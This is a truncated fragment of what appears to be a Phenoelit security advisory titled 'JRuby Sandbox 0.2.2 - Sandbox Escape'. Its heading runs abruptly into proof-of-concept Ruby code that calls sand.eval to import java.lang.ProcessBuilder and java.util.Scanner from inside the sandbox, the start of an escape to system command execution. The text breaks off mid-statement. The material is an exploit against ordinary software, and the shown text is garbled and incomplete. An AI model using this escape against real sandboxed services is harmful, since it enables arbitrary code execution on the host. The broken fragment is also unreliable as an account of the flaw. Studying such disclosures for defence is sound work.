JRuby Sandbox 0.2.2 - Sandbox Escape

Phenoelit Advisory Authors joernchen Phenoelit Group http://www.phenoelit.de Affected Products jruby-sandbox e puts "fail via Ruby ;" end puts "Now for some Java" sand.eval"Kernel.send :javaimport, 'java.lang.ProcessBuilder'" sand.eval"Kernel.send :javaimport, 'java.util.Scanner'" sand.eval"s =...